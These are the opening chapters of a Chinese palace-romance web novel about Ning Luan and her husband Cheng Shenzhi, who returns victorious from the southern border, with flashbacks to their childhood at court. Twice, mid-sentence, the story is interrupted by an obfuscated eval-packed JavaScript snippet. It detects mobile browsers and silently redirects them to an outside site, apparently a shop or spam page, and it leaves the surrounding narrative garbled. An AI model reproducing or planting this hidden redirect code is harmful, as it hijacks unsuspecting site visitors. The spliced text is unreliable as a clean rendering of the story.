《竹马登基前我连夜死遁了》 1. 世子回京 又是这个梦。 满地的血，浸透青石板地面。 宁鸾从府外回来，踉跄着冲进娘亲卧房，入目是满眼的猩红。 悬挂帷幔的雕花大床满布血污。站在床前的宁丞相青筋暴起，大手扼住娘亲纤细的脖颈。 “阿……鸾……” 娘亲的呼唤嘶哑低沉，她挣扎着想向宁鸾扑去，却被宁丞相抬脚踢倒在地。 宁鸾咬破嘴唇，拼命想要上前扶住娘亲，双脚却像是在地面扎了根，寒意顺着脚心蔓延上来，让她忍不住打了个寒颤。 救她！怎么才能救下她？！ 宁鸾不知所措，思绪纷乱间，忽觉背上一片温热笼罩下来。迷离混沌之中，她缓缓睁开了双眼。 …… “小姐可是又梦魇了？”身着侍女外衫的青露正为宁鸾搭上薄毯，稚嫩的脸上写满了担忧。 “无妨，不过是夏日困倦，小憩罢了。”宁鸾揉了揉太阳穴，瞧着面前堆成小山的账册，没忍住又打了个呵欠。 青露打量着宁鸾神情，见当真并无大碍，这才松了口气。她转身出了卧房门，欢喜捧来一抱沾露的新荷。 粉白的花瓣衬着翠绿的荷叶，让人望之清凉。 青露步子轻快，麻利将花朵插进琉璃瓶中，那张巧嘴也没闲着，随着动作唧唧喳喳道： “小姐，昨日世子爷已领着将士们过了洛门关。照这进度，不出三日便能抵达京州城了！” 说着话，青露抬眼望向自家小姐。虽是每日相见，她还是下意识怔了怔神。 宁鸾独坐窗下，纤手执笔，批阅世子府中采购物资的账册。一头青丝顺滑乌黑，用碧玉簪松松挽着，窗外吹进些许微风，惹得几缕散丝轻抚脸颊。 “他竟还舍得回来？”宁鸾并未抬头，笔尖流畅地落下批注。听到“三日”之期，她笔锋才微微一顿，轻声道： “慎之这一走，竟已有三年了？不过这些年里，世子府中日复一日，确实也清静了些。” “正是呢。”青露将插好的花束推到宁鸾面前，嬉笑着邀功，“小姐您瞧，这花开得多好，正好给您歇歇眼睛。您整日看账辛苦，待世子爷回来知道了，定是要心疼的。” “心疼？” 宁鸾一笑，随手放下墨笔，捧起一朵粉白的荷花。 “平日竟不知你这般伶牙俐齿，莫不是听说世子凯旋归来，就惦记起赏钱来了？”她眉尾一挑，眼中尽是调侃。 “分明小姐心里最是欢喜，偏要拿奴婢打趣。不过……”青露想到了什么，凑近些压低声音： “今早坊间都在传，世子爷大胜回京，不仅从南部带回了万千兵马，还从边境带回一位相貌出众的异族女子。” 青露犹豫了一下，绞着手帕继续说： “若只是带回来也就罢了……可大家都说，世子爷这次是动了真心，打算纳她入府作侧妃呢。”青露顿了顿，声音放得更轻：“就连望春楼那边的消息也……” “异族女子？” 宁鸾有些意外，托着花朵的指尖一颤，那花瓣上的露珠随之滚落，砸在案上溅开微凉的水迹。她抹开水迹，仿佛随口问道： “是什么样的女子，竟能让我们程世子动了心？” “小姐！”青露急得跺脚，“您可是明媒正娶的世子妃，外头人云亦云便罢了，您怎么也跟着这样说！” “好，好，那他可一点都不动心。”宁鸾轻笑出声，眼里带着几分无奈，“那你倒说说，他是怎么个‘不动心’法？” “您有所不知，这异族女子可招摇了！那日世子爷率军入关，将士们铁蹄踏遍城门，好一片气势恢宏！” 青露绘声绘色，仿佛铁马冰河尽在眼前，下一刻却语气一转，又愤愤不平： “可偏偏这金戈铁马之间，在世子爷的战马后，竟紧紧跟着一顶格格不入的小轿！那轿子做得极为精巧，轿身是用浅色纱绢堆出来的，轻薄似云烟，朦胧若月影，纱帘后若有若无透出女子的身形来，竟是曼妙极了！” 宁鸾凝神思索，并未立即接话。安南王世子程慎之，向来不是沉湎美色之人，如此大张旗鼓地带一异族女子回京，定有他的缘故。 局势动荡，莫非这女子是迷惑圣上才设下的障眼法？宁鸾暗自揣测着，迅速梳理着当下的形势。 在这蜀西国，以京州城为中心，四方各设州境，分别派有亲王驻守，维护封地边境安宁。 一路向南出了京州城，南边的州便统称为南部。由立下从龙之功的开国元勋，安南王程靖镇守。 为突显皇恩浩荡，君臣亲近。皇帝圣心一动，特诏程靖的次子程慎之入宫，由太后亲自教导抚养。 这位世子虽非皇子，但在皇帝的授意下，日常起居皆与皇子相同。清晨前往尚书房念书，午后守在武演场习武，连月银用度都与众皇子一般无二，一时传为君臣和睦的一段佳话。 及至程慎之弱冠，皇帝又亲自为他指婚。将当朝丞相的嫡女宁鸾赐他为世子妃，又在城中另赐世子府，供二人起居。 待二人正式成婚后，程慎之按宫中的规矩，搬离了当初居住的太后侧殿，另立门户。 自此，程慎之便成了朝堂中最特殊的存在。他既无爵位加身，也无显赫功勋，但日日出入宫禁，享天家俸禄。 人人都道皇恩浩荡。 可唯有程慎之自己知道，身为安南王之子，日日困于京中，究竟是何种滋味。 程慎之的父亲安南王，常年驻守南部，除岁奏例行问安外，唯有新春进京述职之时，方才有机会与程慎之短暂相聚。 而南部边境再往南百里，则是异族部落的聚居地。连日的摩擦战火，让蜀西国人与异族人之间的矛盾愈发尖锐，一触即发。 如今的蜀西皇帝年过五旬，沉湎享乐，早已不复年少时的锐气。 异族部落借势崛起，招兵买马屡屡进犯蜀西。而蜀西朝中放眼望去，一时既无栋梁之才，亦无可用之将，眼看着就要被异族攻破边界。 万般无奈之下，蜀西皇帝死马当活马医，大手一挥，派安南王世子程慎之前往南部边境压阵。 胜了自是锦上添花，败了也不过是弃子一枚。主将为国捐躯，也能稳定民心。 可没成想，这位在宫中课业武艺样样垫底的程世子程慎之，竟真能转败为胜，甚至在数月中连破七城，大胜而归！ 圣心大悦！当即急召程慎之归京受赏，这才有了程慎之率领大军荣耀回京的美谈。 …… 思索至此，宁鸾指尖轻轻拂过荷花瓣上那些将落未落的露珠。 此时此刻，程慎之功高震主，正是如履薄冰之时。在这风口浪尖上，他竟大张旗鼓带了个异族女子回京。异族人在这京州城中，本就身份敏感，惹人猜忌。 程慎之此举，必让朝中之人更加揣测忌惮，惹平民百姓议论纷纷。 宁鸾轻叹一声，掩去心底思绪，只平静望向青露：“那么，情报里又是怎么说这异族女子的？” 青露满心为自家小姐不平，语气愈发愤然： “世子爷一路对那异族女子关怀备至，沿途亲自命人为她挑选首饰、裁制新衣，样样料子都要最顶尖的，首饰都得最时新的！” 她甩了甩手中的帕子，冷哼一声，“这也就罢了，异族打扮毕竟与京中不同，换身行头入京也属应当。” “可您知道吗？接她进城的那顶纱轿，是世子爷特意派人寻南部最好的工匠，加急订做的！”青露越说越气。 “如今京中好些夫人听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宁鸾捏着信纸，似乎都能遥遥看到，千里之外的驻扎营中，那人写完战报，敛起心神，隐晦又含蓄地写下一封封饱含牵挂的家书。 可另一个声音冷冷提醒她：这一切，或许只是程慎之的逢场作戏。 那年在宫中，程慎之曾冷漠地告诉她，他最厌烦她这样聒噪的女子，既不温柔得体，也不识疾苦艰辛，浑身充斥着娇小姐的矜持傲慢，必难懂得他在宫中挣扎生存的孤寂。 那话语如同垒起厚厚的冰墙，漠然隔人于千里之外。 他书信上的温馨小意，温情脉脉，混着昔日的冷言淡语，交杂成为掩盖两人姻缘真相的绝妙利器。 更何况随着时间的推移，信来得越来越慢，越来越少。从起初的半月一封，到三月一封，再到后来一年半载也再难收到一封。 三年烽火，打哑了蜀西与异族之间的战意，更分隔了程慎之与宁鸾之间的情意。 安南王世子程慎之，丞相之女宁鸾，本应是年少璧人，情投意合。 却在那浩荡皇恩下，成为博弈间的棋子与怨侣。 朝中局势暗流汹涌，复杂多变。 昔日被视作弃子的程慎之，如今战功赫赫，凯旋归来。 昔日里门第尊贵，金枝玉叶的宁鸾，如今身份敏感，处处如履薄冰。 年少时捧在掌心的纯真，或许早如手中碾碎的绯红花瓣，在悄无声息中已然零落成泥。 …… 将揉碎的花瓣抚落案几，宁鸾重新执起狼毫，强行定下心神。 “五月十四，购文房四宝，银三两……” 廊外穿堂风忽起，带着地上散落的残红卷过案前，打着旋儿穿过朱红的院墙，飘向远方。 再也没有回来。 2. 剑拔弩张 那年的端午，御花园的榴花红得耀眼。 皇帝素爱设宴，每逢佳节，必召皇亲贵族朝中重臣，携其家眷，共度佳节。 十余岁的宁鸾身着淡黄襦裙，像尾游动的金色锦鲤，在命妇与宫女间穿梭嬉戏。发间那支蝴蝶金钗也随之振翅，仿佛下一瞬便要翩然而起。 与宁鸾交好的公主贵女们常拉她一道玩闹嬉戏，皇子们也爱逗这活泼娇俏的相府千金，常带着糖糕，或是女儿家喜欢的宫样首饰哄她。 宁丞相推杯换盏间谈笑风生，借着宴席的热络气氛不着痕迹地笼络人心。见爱女在满座宾客中言笑从容、如鱼得水，唇边掠过一丝满意的笑。 朝臣们贺过两轮，又有皇子念过祝辞，宫人们依制列队，向太清池中放入火龙船与百盏莲灯。 花灯浮波，逐水飘动，映衬着池中一人余高的竹骨龙船。那火龙船以细竹为骨，两侧龙翼装饰各色纱绢彩纸，在碧绿水面荡漾出阵阵波纹。 正是气氛热烈之时，首领太监乘坐小舟划至湖心，高举火把点燃那火龙船尾羽。只见一道火光从船尾直蹿到船头，池面上顿时流光溢彩，满座惊叹，将宴会气氛推向高潮！ 宁鸾看直了眼，欣喜着不住拍掌。可待那阵热闹劲儿过去，吃完席间的糖渍桃片冰酪，她对宴上的喧闹便只剩下倦意。 见无人留意，她身子一偏，像一尾游鱼般，悄悄游进一旁的御花园。 御花园中清净无人，侍从宫人们皆在宴上伺候，此刻顾不上这些花花草草。宁鸾与蝴蝶蜻蜓打闹一番，正是不亦乐乎时，忽然听见墙侧隐约传来细微的说话声。 提起碍事的裙角，爬上墙边假山凹凸不平的石面，宁鸾屏住呼吸，探头向墙檐下望去。 只见几个锦袍少年围聚，正对一个瘦弱身影步步紧逼。那瘦弱影子虽也身着蓝色宫装，细看却与皇子的袍服不同。不仅领口少了金线缝制的云纹，腰间也失了配套的宫制丝绦，通身素净异常。 那蓝衣人衣摆处还沾着几处莫名的灰尘，肩侧更有墨迹晕染开来，像是被人故意染上的。 小宁鸾稍加辨认，锦袍少年中为首那位明黄蟒袍的男子，正是方才在宴上对着火龙船颂念祝辞的太子殿下！ “啪！”却见太子猛然合拢手中折扇，一改方才席间的温和有礼，不住冷笑道：“前几日驳了孤策论的，就是你？” 他偏头挑眉，四皇子瞬间会意，狠狠一脚踹向那瘦弱少年的腰侧。 少年闷哼一声，重重撞上宫墙，半晌未能起身。墙粉簌簌落满肩头，更显得他狼狈非常。 太子轻蔑一笑，信步向前一把攥起他衣领，“程世子，程慎之，你可真是好本事，竟能让章师傅都夸你字字珠玑。” 他五指骤然收紧，将青衣人领口下的脖颈勒出青筋。 “整日里只会讨巧卖乖，不过是一条会哄人的野狗！你这一闹，惹得父皇都训斥孤的策论技不如人，你说，该当何罪？” 程慎之被勒得吃痛，喉结艰难滚动一瞬，勉强看着面前狠厉的太子，神情愈发痛苦。 即便以他的身手，挣脱太子不过瞬息之间。 但在这皇宫里，身份尊卑决定一切。况且那日在尚书房，确实是他逾矩在先。 无非再多挨一顿打罢了。 思索至此，程慎之眼眸低垂，不发一言，只闷头忍受这一切。 但他这般作态落在太子眼中，更是显得不识抬举。 一个边关地区的小小世子，被留在宫中扣押为质，往日里低调度日便也罢了，那日竟还敢在尚书房中大放厥词，胡言乱语！害作为储君的自己，无端遭受父皇斥责，简直是罪该万死！ 太子思绪急转，心底更是怒火中烧。他本已打定主意，今日必要程慎之给个明白交代，岂料对方竟真铁了心，要将这“锯嘴葫芦”一当到底！ “装哑巴？在章师傅跟前的那股伶牙俐齿，又丢到哪里去了！”太子怒极反笑，力道一松，猛地将他放开。 程慎之踉跄几步，一个不稳跌倒在地。他垂首不语，只觉身上狼狈。心知今日并非没有出路，只是闹得难看些罢了。 以太子为首的皇子们，平日与他本是井水不犯河水。 皇帝开恩，以“进宫抚养”之名，将他留在太后膝下照看。但太后常年潜心礼佛，诸事只要不闹到惊天动地，都轻易不问不管不出手。 没有权势的人行走在宫中，就连影子也比别人浅薄几分。 程慎之手撑地面勉强坐起，只觉一阵眼冒金星。透过周遭的人影缝隙，他仰面望向刺目的日光，暗自叹出口气。 这宫中果然是处处有耳，遍地皆眼，稍有不慎，便是万劫不复。 耳畔太子的斥骂与众人的讥嘲仍未休止，程慎之却恍惚想起那日的情形…… 那天，他将课上布置的策论匆匆交去尚书房。 皇子们的策论早就遣小厮们交去了，唯独程慎之住处离得最远不说，待他回那小小偏殿欲做文章时，却发现那案前的墨锭不翼而飞，早不知被谁暗中摸走了。 他处境微妙，不愿为此事惊动敬事房，只得匆忙寻了太后宫中的管事姑姑，用私银换回一块积年陈旧、落满灰尘的油烟墨。一番手忙脚乱，才终于作上了文章。 迟交课业，程慎之本就心怀忐忑，脚程不停，匆匆赶往书房。没成想正巧遇见白日授课的章师傅，此刻留值在尚书房内，正专心批阅文章。 透过镂空窗棂，他瞧见章师傅提笔端坐案前。平日精心打理的宝贝胡子，此时已被捻成了歪歪扭扭的打结麻花。 程慎之悄声进门，只见案头零散摊着数张宣纸，正是皇子们的策论。章师傅眉头紧皱，朱笔悬停，程慎之不动声色瞟过，心头蓦地一沉。 章师傅正批阅的这篇，他虽未看清前后内容，但一眼便瞥到中间几句对《资治通鉴》的批注极偏，一句“周世宗暴虐”简直堪称歪理。 反复咀嚼几句，程慎之心中猛然腾起一股郁气，虽是几度压制，却还是忍不住低声叹道： “虽有周世宗毁佛铸钱在先，可若仅凭于此就草草断言，世宗之治“暴虐无道”，使“民生凋敝”，岂非因噎废食？” 他声音虽轻，却字字清晰，漆黑眼眸中尽是无奈。 “世宗虽不德，却减免赋税，整顿官吏，救民于水火。为君者心怀百姓，志于仁善，岂能以一事而掩大德！”① 程慎之自认人微言轻，不过喃喃自语，却字字撞入正恼火着的章师傅耳中。 章师傅听得愣神，手中朱笔一落，一滴朱砂落在课业上，正好污红其中一个“暴”字。他回过神来，忙道： “好！说得好哇！” 章师傅全名章承景，两朝帝师，曾任礼部尚书。他一生克己奉公，德高望重。如今年近古稀，无心功名利禄，后来自请推去朝中官职，进尚书房掌教育启蒙一事。 章师傅授课素以严师著称，连当今皇帝都得他开悟，得敬他三分，先帝更是以御笔亲题“经师人师”，足见其地位尊崇。 诸多卷宗，他最喜“为政以德”，常言君王当以德载舟。今早批阅众皇子课业，见多数策论言论平平，更有甚者毫无恤民之心，正觉失望至极。 而程慎之这话虽轻，却如拨云见日，话音未落，就让章承景眼中精光乍现。 章承景竭力回想这少年的身份，一时却只忆起他单薄却挺拔的身影。 程慎之总在清晨磬响前悄无声息入座，课业结束后黯然离开。既不像太子一行人高谈阔论，也不似四皇子之流插科打诨，整日只知喧闹起哄。 章承景曾听收拾笔墨的小厮们闲聊，说程世子像御花园的深井，“得扔块石头进去，才听得到个响儿。” 如今想来，这话倒真切得很。 一篇写得比石头还硬的策论，终于将程世子这口深藏不露的井，激出了一声响。 尚书房窗外竹林青葱，微风吹过，传来林叶交错的沙沙声。 若非昨日课上一时兴起，临时布置策论，倒真让这腔不开气不出的小子明珠蒙尘了。 心情转好的章承景抚顺了胡子，放下朱笔笑呵呵道： “你是安南王家的世子，程慎之？” “是。”程慎之双手递上策论，“学生交迟了，还请师傅责罚。” 章承景拿过策论，垂眸一看，只见通篇字迹亭然若松，墨迹浑浊但酣畅淋漓。 他静心逐字读去，这篇策论引经据典，通篇无一句空谈，层层剖析之下言之有物。言及民生艰苦，字里行间更是心怀悲悯。 章承景激动拍案：“好一个''仁政非止减税，更在问疾苦''！” 章承景抬头看向程慎之，严肃道：“这篇策论当真出自你手？” “学生不敢欺瞒。”程慎之俯身作揖。 窗外正是残阳。太阳落山前的最后一缕阳光，沿着窗口直直照射进来，给程慎之的侧脸打出锋利的轮廓。 章承景深吸口气，上下打量程慎之一圈，忽地一顿。他手上的策论被阳光映得透亮，显出几分不真实的浮光来。 程慎之站在光影交错处，低垂的睫毛被光打出深邃的影。他张了张口，却没发出一丝声音，硬生生将话吞了下去。< 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人人都道章师傅看重程世子而轻慢太子，流言纷纷，蜚语不断，以太子极重颜面的性子，又岂会轻易放过他和那些传谣之人？ 怕是早就心有不甘，伺机而动。 今日宫中大宴，人多事杂，众目睽睽之下“教训”一个南部来的落魄世子，再合适不过。事后最多被说成是小辈玩闹，并不会上纲上线惩罚。 若欺负的是别的皇亲国戚或许尚需顾忌，可程慎之呢？ 他幼时进宫，明面上由太后亲自教养，可一旦安南王爷在南部有异动，第一个以血祭旗振奋士气的，就是这位所谓在宫中养尊处优的世子殿下。 虽身份微妙，他的日常吃穿用度却仍由专人安排，明面上叫人挑不出错处来。 程慎之每日卯时三刻起身，与皇子皇孙同去尚书房进学，午时初刻或习骑射，或依例向太后行礼问安。 ……尽管那位皇太后深居礼佛，他虽多次拜访请安，却一次也未曾得见。 没了太后依仗，程慎之孤身一人在宫闱之中，身边的嬷嬷丫鬟早混成人精。知道世子不讨宫里的主子们欢心，便对诸事更加懒散，能糊弄则糊弄过去。 更何况，太后本就常年不问宫事，近日更称凤体欠安，免了端午宴席，连宫嫔请安都一概不见。 宴后连着三日休沐，前朝不设早朝，宫内侍奉的宫人们也轮班休息。太子睚眦必报，却也懂得择时出手。 在端午宴间动手，既可说作节庆玩闹，又无其他后顾之忧。 此刻见程慎之仍不回应，太子咬牙冷笑，亲自上前，将刚撑起身的程慎之狠狠推倒在地。 “二哥，这小子是个硬骨头，别脏了二哥的手，我来教训他！”一旁微胖的四皇子应声上前，表情戏谑。他一手拉起程慎之，一手高高扬起，眼看就要重重落下。 程慎之知道今天在劫难逃，猛地闭上了双眼。他听见破空声从耳旁掠过，绝望又无奈地等待着疼痛的来临。 可意料之中的疼痛并未到来。 程慎之惊讶睁眼，仰头望去，逆光中站着个身穿鹅黄宫装的娇小身影。那小小的人儿抬出两手，用力攥住了四皇子的衣袖。 这是哪位公主？还是谁家的小姐贵女？ 没等他细思量，眼前的女子已是娇俏扬声道：“四皇子哥哥耍赖！” 四皇子被她扯得手臂晃荡，只得卸了力道，无奈道：“宁鸾妹妹，你可别乱讲啊，本皇子几时耍过赖？” 那女子气鼓鼓地，埋怨道： “上次明明说好了，等我进宫，四皇子哥哥要在御花园里陪我躲猫猫！今天殿下明知我进宫了，却躲在这跟别人玩耍打闹。” 她抱臂跺脚，轻哼一声，“以后再也不跟你们玩了！” 程慎之脑中一痛，只觉耳旁嗡嗡，女子的话支离破碎，零散钻进他的脑海。 别的不说，这姑娘的嗓门……可真大啊。 逆光下，他仰头看去，那女子将青丝半挽，以金蝶钗固定住，余发编成长辫，用彩蝶发带束了，精巧蝴蝶在行动间翩然起飞。 许是不想过于素净，她发辫中点缀几颗银丝攒成的珠花。花瓣经过工匠的巧思，盘出自然细腻的纹路，每一朵花心都托着颗滚圆的珍珠，衬得人明亮又娇俏。 虽未看到这姑娘的样貌，但想来定是位如珍珠般莹然明媚的女子。 四皇子本欲发作，被宁鸾这般一搅，一时进退两难。 御花园一角的紧张气氛，竟因她的清脆笑声，悄然缓和起来。 “宁鸾妹妹……？” 3. 当年如今 “太子哥哥，你也欺负我！”没等四皇子说完，宁鸾便松开手，提起裙摆轻盈地跳到太子面前。 她眨巴着眼睛，不知从哪儿变出个油润饱满的雪桃，不由分说塞进太子手中。 太子握着桃子，指尖一颤，掌心传来温热的触感，却衬得那桃仿佛千钧沉重。 “妹妹何处此言？”太子揣了折扇，一手托着那桃，无奈地看着宁鸾，语气里藏着不易察觉的宠溺。 “太子哥哥先前明明说，那蝴蝶簪子与我不相衬，要赏我一支更好的金蜻蜓呢！我在府里日思夜想地盼着，就怕太子哥哥跟别人玩得高兴，早将这点小事忘到脑后去了！” 宁鸾瞥过一眼程慎之，抬手轻轻拂过发间的蝴蝶金簪，又拽了拽绑发的蝴蝶缎带，不太高兴地撇撇嘴。 见她这般娇憨情态，太子心头的烦闷早已散去大半。他目光落在宁鸾明媚的眉眼间，思绪却已转到了她身后那座权倾朝野的丞相府上。 近年皇上倦怠朝政，宁丞相作为天子的心腹重臣，只言片语甚至能左右东宫废立，可谓一人之下万人之上。 在这深宫之中谁人不知，圣上虽称万岁，可□□凡身，终究难逃百年之期。若能得宁丞相青眼，便等于在夺嫡之路上抢先一步。 也正因如此，诸位皇子谁不竞相向她示好？都唯恐一不小心惹她不快，回头在丞相跟前诉几句委屈，传入圣听，平白沾上恶名。 思及至此，太子压下最后一丝恼怒，脸上端起温和笑意： “妹妹这话便是冤枉孤了，孤早命宫中巧匠备好首饰，只待赠予妹妹。”他一个眼色递向贴身太监，“还不快回宫去取。” 见那小太监忙不迭去了，太子转过身看向程慎之。 本想趁着宴席，找个角落好好整治一下这边境世子，偏被不知从哪冒出来的宁鸾撞见。 宁鸾年纪尚小，看到这种上不得台面的事，未必辨得清其中门道，但若传扬开来，闹到明面上，圣上和朝中重臣如何判别，便非他所能掌控。 若是处置不当，最坏得落个欺凌他人的名声。不如趁着当下事态还未严重，就此罢手，往后有的是机会收拾这位世子殿下。 心念既定，太子当即佯装才见程慎之狼狈，亲自上前将他扶起，扬声说道： “今日宫宴，大家与程世子玩闹一番，不小心有磕碰也属常事，还望世子不要挂心才好。” 这便是给今日之事定了性了。宁鸾眨巴着眼睛，扭头看向诸位皇子。 “慎之无碍，多谢殿下关怀。”程慎之顺势而下，低头掩住眼中的阴鸷，袖中的掌心却快掐出指痕。 太子还想多说些什么，却见御花园另一头，御前太监王公公一路小跑，练头上的红缨穗子都散乱几分。他奔至几人身前，匆匆行过礼，喘着粗气道： “拜见太子殿下！原来您在这儿，皇上正寻殿下您呢，还请速速前往，别让皇上久等才是。” 一听圣谕，太子及其众人当即也顾不得其他，立刻转身欲随王公公离去。 太子被众人簇拥着走出几步，想了想却又忍不住回头。 “宁妹妹，那金钗孤自会派人送来，你只管赏玩。近日宫中事务繁杂，还望妹妹在宁丞相面前，多为孤美言几句。” 宁鸾嫣然一笑。“太子哥哥放心，那是自然。” 太子心中稍定，这才率众匆匆离去。 眼见着一行人走远，宁鸾索性也放松下来。她伸了个懒腰，几步扑到程慎之面前，伸手就欲查看他的伤势。 方才在墙沿上她看得分明，程慎之被几人一路推搡着跌向墙角，四皇子那一脚更是又狠又厉，正踹在他腰背之间。那力道下去，定是伤到内里了。 程慎之也自觉背上闷闷的发痛，见宁鸾伸手过来，心下一惊。他脚下本就发软，一时不稳竟又跌坐下去。索性四下里无人，他便暂且靠墙歇息。 “别乱动。”宁鸾一手搭上他的脉搏。“你得敷跌打药膏，怕还得喝上几天苦药。以四哥哥那力道，皮肉上肯定乌青一片了。” “我……” 还没等程慎之说出什么，宁鸾已毫不避讳地伸手拨开他的衣领，仔细察看他胸前被踹的伤势。 “你？！” 这下程慎之又惊又惧，也顾不上什么腰痛腿痛，直接从墙角蹿起身来。 宁鸾见他情状，也无奈地拍拍手站起身来，撇着嘴道：“你什么你，本小姐好心帮你看伤势，你倒还不乐意了。我娘亲医术高明，我日夜学着，旁人想让我瞧都没门儿呢。” 她小声嘀咕，“你还摆出一副被我占了便宜的模样……” 无视程慎之打翻了染缸般的表情，宁鸾眨眼间已确认了他的伤势。她稍一思索，转身便跑。 “太医院离这不远，我去给你搞点白玉凝脂膏来，等我！” 程慎之张了张口，想大喊叫住她，抬起的手已悬在半空。可抬眼望去，宁鸾早已跑远，发带上的彩蝶随着她的跑动上下翻飞，宛若鲜活。 “宁妹妹……宁鸾？” 程慎之的低语消散在风中，声线里带着一丝陌生的悸动。 入宫数载，他本以为自己早已习惯了宫中的拜高踩低。 初来时，侍奉的宫人们连奉茶都屏住呼吸，小心翼翼。笔墨纸砚从未有缺，甚至案前的墨水都研磨得浓淡相宜。 可自从太后对他显露出漠然，甚至觉得他早起读书，都是扰了佛家清净，开口将他迁至宫中最荒僻的宫殿后，一切便悄然改变。 那里夏日闷热难耐，冬日寒冷透风。 久而久之，宫人们逐渐放肆怠慢，皇子们也愈发肆无忌惮。 安南王远在南部，无诏不得入京。安南王一脉中有交情的朝臣，也都瞧着皇上脸色行事，早早与这位身份尴尬的世子划清界限，唯恐惹祸上身。 春去秋来，程慎之已然麻木，日复一日在宫里磋磨时光。 今日御花园这场闹剧，他并非没有预料。 太子一党最近看他格外不顺眼，在尚书房课堂上都明里暗里使绊子。这次借着宫宴，太子如此明目张胆，失了往日沉稳，倒在程慎之意料之外。 更在程慎之意料之外的，是宁鸾的出手相助。 程慎之自然不会天真到以为，宁鸾的突然出现，只是为了讨一支蜻蜓花钗。 她像是九天神女座下的金色蝴蝶，自甘堕落，跌进了他这方陈旧而破烂的蛛网里。 蜘蛛久居洞穴，早已习惯了潮湿与阴暗，习惯于在饥饿中蛰伏。面对这突如其来的闯入者，他竟有些惶然无措，想下意识缩回黑暗的阴影中。 他渴望牢牢抓住这只跌跌撞撞闯来的金蝶，却又怕唐突的举动会惊走了她，惊醒了自己，让这一切终究换得黄粱一梦。 看着远处捧着锦盒飞奔而来的小太监身影，程慎之第一次如此清晰地下定决心：他要紧紧抓住这束光，然后……逃离这片黑暗。 …… 御花园那场风波过后，宁鸾与程慎之确实度过了一段难得的轻松时光。 近日尚书房散学总早了些，太子抱手立在庭院槐树下，冷眼瞥见宁鸾提着裙摆，像小鸟般穿过游廊，欢呼着飞进尚书房中，撞破里面满是“之乎者也”、沉闷乏味的空气。 透过蝠纹梨木窗棂，太子看到宁鸾几乎整个身子都探过了案几，正踮着脚尖，奋力去夺程慎之手中的墨笔。程慎之将笔上举，她便跟着去够，那模样不管不顾，活像皇后宫里那只爱扑蝴蝶的波斯猫。 “快给我嘛！” 她发髻插了支银铃，随着动作起伏剧烈摇晃。滚圆的铃身中银珠交击，碰撞出铃铛应有的清脆声响。 程慎之慌忙用袖口捂住写到一半的典籍批注，一面又不敢真的使力推拒她，一时间竟被逼得层层败退。 手上狼毫墨笔挥舞，已在书页上溅开两个深邃的墨点。 “哎——我的书！” 程慎之放下毛笔，赶紧捧起书一看，遭殃的恰是那本惹祸的《资治通鉴》。他看看顶着俩黑疙瘩的书，又抬头看看宁鸾亮晶晶的眼，终究是败下阵来，揉着额角无奈笑道： “依我看，这新得的西域银铃确实精巧，正衬得宁妹妹俏皮可爱。” 屋内笑声不断，此起彼伏。 窗外，将一切尽收眼底的太子咬碎银牙，面色阴暗地带着侍从拂袖而去。 俏皮可爱……吗？ 如此灿烂明媚的女子，为何偏偏只愿照耀他程慎之一人！ …… 而今，宁鸾清点着府中账目，目光不经意落向妆匣。最上层稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576063|187118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳放着的，正是当年那对盘花缠枝银铃簪。 这么多年过去，这银簪早已发旧黯淡了。 那是娘亲还在时，从西域商人手中购得的珍品。如若娘亲还在，大抵仍会如往日一般，亲手为她在盘好的发上点缀特别的花样吧。 宁鸾摇摇头，试图抛去杂念，拿起账册继续盘算。 世子归京，府里上下都得安排打点妥当，绝不能出半分差池。 若他……果真带了那位异族女子回来，或许还需另行收拾一处院落，供他们起居吧？ 毕竟就算再心急，总不能回府当夜便同宿一室。 思虑至此，宁鸾叫来管事，将诸项事宜一一吩咐下去，神色平静，再无多言。 …… 三日后。 宁鸾独倚高楼，凭栏远眺。 风吹起衣摆点缀的轻纱，带动腰带上的环佩叮当作响。 脚下是喧嚣坊市，一眼望去，各色房屋排列整齐，逐渐延伸为天际模糊的墨点。再远处，京州城墙高高立起，将一切纷扰和战乱尽数阻隔于墙外。 宁鸾向南面看去，墙外远处隐隐约约晃动着深红的旗帜尖儿，在黑压压的将士中格外出挑。 那正是世子归来的队伍。 宁鸾紧盯那若隐若现的旗帜，在楼顶沉默许久。 “慎之已过京州大关，今日便能回府了吧？”她低声问着，心中却早有答案。 高楼内，幕帘阴影中的侍女向前一步，面无表情回道： “是，主子，世子大约今日未时抵达京中。按照寻常惯例，归来的将领须先入宫面圣述职，之后方可归府。” 宁鸾唇角掠过一丝自嘲，扭头看向隐在暗处的青霜。若世子府中有人在此，定会惊愕失色： 原因无他，只因青霜的容貌身形，竟与府中侍女青露的如出一辙。两人像是一个模子里倒出来的，有着同样精致的眉眼，玲珑有致的身段。 而在众多相同中，唯一能区分她们的，是她们脸上迥然不同的神态。 世子府的青露，乐观明媚，喜怒哀乐全放在脸上，像是藏不住半点心事。下人们有时畏惧宁鸾的威势，便千方百计与青露交好，试图暗自打探世子妃近日动向。 殊不知，这本就是宁鸾有意纵容。 而眼前的青霜却恰恰相反。 人如其名，青霜面带寒霜，喜怒不形于色。单是站在那里，一眼对视，便能让人冻了眉毛，直叫面对她的人打一个寒颤。 此刻，青霜站在幕帘后，漠然垂首，静静等待主子的调遣。 “那随行之人……应当也一同回来了罢？”宁鸾望向楼外，一只朱红的鸟儿展翅，从楼顶滑翔而去。 “是，主子。按传回的情报所述，去往南部征战的将士们都在今日归京。” “若有将军府的人递帖子来，你便告知来人，后日辰时，我于望春楼顶楼候时小将军。把小春台收拾出来，就在那会面吧。”宁鸾转身看向青霜，“此事你亲自去办。” “再将望春楼藏珍阁天字匣中，那把新入的赤色宝剑也一并备下。” “是。” 